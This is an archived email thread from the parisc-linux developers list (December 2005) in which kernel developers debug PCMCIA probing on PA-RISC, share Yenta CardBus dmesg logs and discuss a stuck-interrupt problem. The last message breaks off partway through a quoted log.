	Sun, 11 Dec 2005 10:41:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D13B47D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 10:41:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25723-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 10:41:42 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 2AD477D669
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 10:41:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 919D9360002;
	Sun, 11 Dec 2005 10:50:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23203-08; Sun, 11 Dec 2005 10:50:05 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0C8D5360001; Sun, 11 Dec 2005 10:50:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1134314073.3367.5.camel@mulgrave>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iQHuY1lxeSEkQ76WZHQhaXN1IGRvb8Bp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23239

On Sun, Dec 11, 2005 at 09:14:33AM -0600, James Bottomley wrote:
> On Sat, 2005-12-10 at 23:50 -0700, Grant Grundler wrote:
> > Could post the /proc/iomem output?
> 
> Sure, it's below

thanks

> > It just occurred to me that you shouldn't need to bring down the network.
> > We can verify if an IO range resource didn't get parented correctly or
> > otherwise failed to get registered.
> 
> Well, yes I do.  I still need to verify that the kernel works without
> the probe prevention hack.

Sorry, I wasn't clear - just referring to grabbing the /proc/iomem output.

>   The problem years ago wasn't the parenting,
> it was PCMCIA looking for things like ISA memory regions.  I know the
> card currently gets the correct parenting and regions (because it
> works).

I agree - the output for "Dino LMMIO 0" is correct.

>  The question is would it without the pcmcia hack?

*nod*.  If PCMCIA code is accessing IO Port space looking for legacy
ISA devices, then a parisc box will definitely HPMC.

Most of the parisc PCI bus controllers can only "hard fail" on a
PCI Master Abort for both IO Port and MMIO space accesses. I know
this isn't expected behavior for IO port space but HPUX didn't need
to handle this more gracefully.

I've learned that "ISA Memory regions" are 20 bits for 8-bit ISA or
24-bits for 16-bit ISA. In both cases, I would expect Host RAM to
respond instead of any IO device.  E.g. VGA memory at 0xa0000-0xb0000
would get garbage instead of an HPMC.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 12:01:02 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <1134324062.3367.9.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	 <20051204103338.GA16791@flint.arm.linux.org.uk>
	 <1133818340.3395.11.camel@mulgrave>
	 <20051205220344.GJ15201@flint.arm.linux.org.uk>
	 <1133829923.3262.1.camel@mulgrave>
	 <20051206093643.GA1706@flint.arm.linux.org.uk>
	 <1133876209.3267.2.camel@mulgrave>
	 <20051207122129.GA31601@isilmar.linta.de>
	 <20051211065023.GA7987@colo.lackof.org> <1134314073.3367.5.camel@mulgrave>
	 <20051211175004.GA22449@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623949 17330 80.91.229.3 (22 Nov 2014 02:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <James.Bottomley@SteelEye.com>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 18:01:06 -0000
Original-Received: from stat9.steeleye.com (EHLO hancock.sc.steeleye.com) [209.192.50.41]
  by mx0.gmx.net (mx052) with SMTP; 11 Dec 2005 19:01:06 +0100
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id jBBI12218473;
	Sun, 11 Dec 2005 13:01:02 -0500
In-Reply-To: <20051211175004.GA22449@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NQzuY6tJeSEkRr6WZHQhaXN1IGRvb8AM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23240

On Sun, 2005-12-11 at 10:50 -0700, Grant Grundler wrote:
> On Sun, Dec 11, 2005 at 09:14:33AM -0600, James Bottomley wrote:
> >  The question is would it without the pcmcia hack?
> 
> *nod*.  If PCMCIA code is accessing IO Port space looking for legacy
> ISA devices, then a parisc box will definitely HPMC.

Well, I pulled out the mem probe and left in the PCMCIA_PROBE config
setting based on !PARISC.

Everything seems to work.  Here's the relevant dmesg output 

Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
PCI: Bus 1, cardbus bridge: 0000:00:02.0
  IO window: 00000400-000005ff
  IO window: 00000800-000009ff
  PREFETCH window: f0c00000-f0ffffff
  MEM window: f0900000-f09fffff
Yenta: Enabling burst memory read transactions
Yenta: Using CSCINT to route CSC interrupts to PCI
Yenta: Routing CardBus interrupts to PCI
Yenta TI: socket 0000:00:02.0, mfunc 0x00000000, devctl 0x66
Yenta TI: socket 0000:00:02.0 probing PCI interrupt failed, trying to
fix
Yenta TI: socket 0000:00:02.0 falling back to parallel PCI interrupts
Yenta TI: socket 0000:00:02.0 parallel PCI interrupts ok
Yenta: ISA IRQ mask 0x0000, PCI irq 23
Socket status: 30000010
pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
pccard: PCMCIA card inserted into slot 0
[...]
cs: memory probe 0xf0800000-0xf0ffffff: excluding 0xf0800000-0xf087ffff
0xf0900000-0xf09fffff 0xf0c00000-0xf0ffffff
pcmcia: registering new device pcmcia0.0
pcmcia: Detected deprecated PCMCIA ioctl usage.
pcmcia: This interface will soon be removed from the kernel; please
expect breakage unless you upgrade to new tools.
pcmcia: see
http://www.kernel.org/pub/linux/utils/kernel/pcmcia/pcmcia.html for
details.
orinoco 0.15rc3 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel
Roskin <proski@gnu.org>, et al)

As you can see, we do get the cis memory probe occuring within the
correct boundaries now.

Helge, I think the next test is over to you, could you see how CVS tree
head fares on your tadpole?

Thanks,

James




From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 19:55:09 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <200512111955.09892.deller@gmx.de>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051211175004.GA22449@colo.lackof.org>
	<1134324062.3367.9.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623949 17332 80.91.229.3 (22 Nov 2014 02:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 18:55:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 11 Dec 2005 19:55:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2FC87D6DD;
	Sun, 11 Dec 2005 11:55:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27184-07; Sun, 11 Dec 2005 11:55:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B957A7D6E9;
	Sun, 11 Dec 2005 11:55:24 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AFF97D6DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 11:55:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27184-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 11:55:19 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id 68A117D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Dec 2005 11:55:19 -0700 (MST)
Original-Received: (qmail invoked by alias); 11 Dec 2005 18:55:15 -0000
Original-Received: from p54AD2981.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.41.129]
	by mail.gmx.net (mp020) with SMTP; 11 Dec 2005 19:55:15 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <1134324062.3367.9.camel@mulgrave>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dhPuY15IeSEkXL6WZHQhaXN1IGRvb8C/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23241

On Sunday 11 December 2005 19:01, James Bottomley wrote:
> Well, I pulled out the mem probe and left in the PCMCIA_PROBE config
> setting based on !PARISC.
> 
> Everything seems to work.  Here's the relevant dmesg output 
> Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
> PCI: Bus 1, cardbus bridge: 0000:00:02.0
>   IO window: 00000400-000005ff
>   IO window: 00000800-000009ff
>   PREFETCH window: f0c00000-f0ffffff
>   MEM window: f0900000-f09fffff
> Yenta: Enabling burst memory read transactions
> Yenta: Using CSCINT to route CSC interrupts to PCI
> Yenta: Routing CardBus interrupts to PCI
> Yenta TI: socket 0000:00:02.0, mfunc 0x00000000, devctl 0x66
> Yenta TI: socket 0000:00:02.0 probing PCI interrupt failed, trying to
> fix
> Yenta TI: socket 0000:00:02.0 falling back to parallel PCI interrupts
> Yenta TI: socket 0000:00:02.0 parallel PCI interrupts ok
> Yenta: ISA IRQ mask 0x0000, PCI irq 23
> Socket status: 30000010
> pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
> pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
> pccard: PCMCIA card inserted into slot 0
> [...]
> cs: memory probe 0xf0800000-0xf0ffffff: excluding 0xf0800000-0xf087ffff
> 0xf0900000-0xf09fffff 0xf0c00000-0xf0ffffff
> pcmcia: registering new device pcmcia0.0
>
> As you can see, we do get the cis memory probe occuring within the
> correct boundaries now.
> 
> Helge, I think the next test is over to you, could you see how CVS tree
> head fares on your tadpole?

Hi James,

Seems ok, but I still have the "stuck IRQ" problem:

Dec 11 19:46:11 rdi kernel: Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
Dec 11 19:46:11 rdi kernel: PCI: Bus 1, cardbus bridge: 0000:00:02.0
Dec 11 19:46:11 rdi kernel:   IO window: 00000400-000005ff
Dec 11 19:46:11 rdi kernel:   IO window: 00000800-000009ff
Dec 11 19:46:11 rdi kernel:   PREFETCH window: f0c00000-f0ffffff
Dec 11 19:46:11 rdi kernel:   MEM window: f0900000-f09fffff
Dec 11 19:46:12 rdi kernel: Dino 0xfff80000: stuck interrupt 2
Dec 11 19:46:12 rdi last message repeated 7 times
Dec 11 19:46:12 rdi kernel: Yenta: ISA IRQ mask 0x0000, PCI irq 25
Dec 11 19:46:12 rdi kernel: Socket status: 30000007
Dec 11 19:46:12 rdi kernel: pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
Dec 11 19:46:12 rdi kernel: pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
Dec 11 19:46:12 rdi kernel: Yenta: CardBus bridge found at 0000:00:02.1 [0000:0000]
Dec 11 19:46:12 rdi kernel: PCI: Bus 5, cardbus bridge: 0000:00:02.1
Dec 11 19:46:12 rdi kernel:   IO window: 00000c00-00000dff
Dec 11 19:46:12 rdi kernel:   IO window: 00001000-000011ff
Dec 11 19:46:12 rdi kernel:   PREFETCH window: f0a00000-f0afffff
Dec 11 19:46:12 rdi kernel:   MEM window: f0b00000-f0bfffff
Dec 11 19:46:12 rdi kernel: Dino 0xfff80000: stuck interrupt 4
Dec 11 19:46:12 rdi last message repeated 7 times
Dec 11 19:46:12 rdi kernel: Yenta: ISA IRQ mask 0x0000, PCI irq 26
Dec 11 19:46:12 rdi kernel: Socket status: 30000811
Dec 11 19:46:12 rdi kernel: pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
Dec 11 19:46:12 rdi kernel: pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
Dec 11 19:46:13 rdi kernel: pccard: PCMCIA card inserted into slot 1

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 12:09:04 -0700
Lines: 7
Approved: news@gmane.org
Message-ID: <20051211190904.GB9286@parisc-linux.org>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca> <20051211175004.GA22449@colo.lackof.org> <1134324062.3367.9.camel@mulgrave> <200512111955.09892.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623950 17335 80.91.229.3 (22 Nov 2014 02:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 19:09:06 -0000
Original-Received: from palinux.external.hp.com (EHLO palinux.hppa) [192.25.206.14]
  by mx0.gmx.net (mx072) with SMTP; 11 Dec 2005 20:09:06 +0100
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 5BA3F494005; Sun, 11 Dec 2005 12:09:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200512111955.09892.deller@gmx.de>
User-Agent: Mutt/1.5.9i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BRzuY9cjeSEkOr6WZHQhaXN1IGRvb0Dq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23242

On Sun, Dec 11, 2005 at 07:55:09PM +0100, Helge Deller wrote:
> Seems ok, but I still have the "stuck IRQ" problem:

We have that problem with cardmode dino too ... may or may not be the
same root cause.



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dominik Brodowski <linux@dominikbrodowski.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 20:49:47 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20051211194947.GB31384@isilmar.linta.de>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca> <20051211175004.GA22449@colo.lackof.org> <1134324062.3367.9.camel@mulgrave> <200512111955.09892.deller@gmx.de> <20051211190904.GB9286@parisc-linux.org> <20051204060423.GA12355@quicksilver.road.mcmartin.ca> <20051211175004.GA22449@colo.lackof.org> <1134324062.3367.9.camel@mulgrave> <200512111955.09892.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623950 17340 80.91.229.3 (22 Nov 2014 02:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:10 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux@lists.parisc-linux.org,
 Grant Grundler <grundler@parisc-linux.org>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Helge Deller <deller@gmx.de>,
 Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux@dominikbrodowski.net>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 19:49:47 -0000
Original-Received: from isilmar.linta.de (EHLO linta.de) [213.239.214.66]
  by mx0.gmx.net (mx057) with SMTP; 11 Dec 2005 20:49:47 +0100
Original-Received: (qmail 32298 invoked by uid 1000); 11 Dec 2005 19:49:47 -0000
Mail-Followup-To: Helge Deller <deller@gmx.de>,
	Matthew Wilcox <matthew@wil.cx>,
	James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-pcmcia@lists.infradead.org,
	Kyle McMartin <kyle@parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <20051211190904.GB9286@parisc-linux.org> <200512111955.09892.deller@gmx.de>
User-Agent: Mutt/1.5.9i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jOfuY48weSEkS76WZHQhaXN1IGRvbwBP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23243

Hi,

On Sun, Dec 11, 2005 at 07:55:09PM +0100, Helge Deller wrote:
> Hi James,
> 
> Seems ok, but I still have the "stuck IRQ" problem:
> 
> Dec 11 19:46:11 rdi kernel: Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
> Dec 11 19:46:11 rdi kernel: PCI: Bus 1, cardbus bridge: 0000:00:02.0
> Dec 11 19:46:11 rdi kernel:   IO window: 00000400-000005ff
> Dec 11 19:46:11 rdi kernel:   IO window: 00000800-000009ff
> Dec 11 19:46:11 rdi kernel:   PREFETCH window: f0c00000-f0ffffff
> Dec 11 19:46:11 rdi kernel:   MEM window: f0900000-f09fffff
> Dec 11 19:46:12 rdi kernel: Dino 0xfff80000: stuck interrupt 2
> Dec 11 19:46:12 rdi last message repeated 7 times

On Sun, Dec 11, 2005 at 12:09:04PM -0700, Matthew Wilcox wrote:
> On Sun, Dec 11, 2005 at 07:55:09PM +0100, Helge Deller wrote:
> > Seems ok, but I still have the "stuck IRQ" problem:
> 
> We have that problem with cardmode dino too ... may or may not be the
> same root cause.

Does PCMCIA still work? Does it go away with the no-mem-probing hack? I
don't think so. Probably PARISC doesn't like us trying out the ISA interrupt
routing in yenta-socket?

Thanks,
	Dominik



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dominik Brodowski <linux@dominikbrodowski.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Sun, 11 Dec 2005 20:48:04 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20051211194804.GA31384@isilmar.linta.de>
References: <1133818340.3395.11.camel@mulgrave> <20051205220344.GJ15201@flint.arm.linux.org.uk> <1133829923.3262.1.camel@mulgrave> <20051206093643.GA1706@flint.arm.linux.org.uk> <1133876209.3267.2.camel@mulgrave> <20051207122129.GA31601@isilmar.linta.de> <20051211065023.GA7987@colo.lackof.org> <1134314073.3367.5.camel@mulgrave> <20051211175004.GA22449@colo.lackof.org> <1134324062.3367.9.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623950 17343 80.91.229.3 (22 Nov 2014 02:39:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:10 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
 Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux@dominikbrodowski.net>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Dec 2005 19:48:04 -0000
Original-Received: from isilmar.linta.de (EHLO linta.de) [213.239.214.66]
  by mx0.gmx.net (mx071) with SMTP; 11 Dec 2005 20:48:04 +0100
Original-Received: (qmail 29265 invoked by uid 1000); 11 Dec 2005 19:48:04 -0000
Mail-Followup-To: James Bottomley <James.Bottomley@SteelEye.com>,
	Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org,
	linux-pcmcia@lists.infradead.org,
	Kyle McMartin <kyle@parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <1134324062.3367.9.camel@mulgrave>
User-Agent: Mutt/1.5.9i
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: I+fuY9sgeSEkNb6WZHQhaXN1IGRvb8Dp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23244

Hi,

On Sun, Dec 11, 2005 at 12:01:02PM -0600, James Bottomley wrote:
> On Sun, 2005-12-11 at 10:50 -0700, Grant Grundler wrote:
> > On Sun, Dec 11, 2005 at 09:14:33AM -0600, James Bottomley wrote:
> > >  The question is would it without the pcmcia hack?
> > 
> > *nod*.  If PCMCIA code is accessing IO Port space looking for legacy
> > ISA devices, then a parisc box will definitely HPMC.
> 
> Well, I pulled out the mem probe and left in the PCMCIA_PROBE config
> setting based on !PARISC.
> 
> Everything seems to work.  Here's the relevant dmesg output 
> 
> Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
> PCI: Bus 1, cardbus bridge: 0000:00:02.0
>   IO window: 00000400-000005ff
>   IO window: 00000800-000009ff
>   PREFETCH window: f0c00000-f0ffffff
>   MEM window: f0900000-f09fffff
> Yenta: Enabling burst memory read transactions
> Yenta: Using CSCINT to route CSC interrupts to PCI
> Yenta: Routing CardBus interrupts to PCI
> Yenta TI: socket 0000:00:02.0, mfunc 0x00000000, devctl 0x66
> Yenta TI: socket 0000:00:02.0 probing PCI interrupt failed, trying to
> fix
> Yenta TI: socket 0000:00:02.0 falling back to parallel PCI interrupts
> Yenta TI: socket 0000:00:02.0 parallel PCI interrupts ok
> Yenta: ISA IRQ mask 0x0000, PCI irq 23
> Socket status: 30000010
> pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
> pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
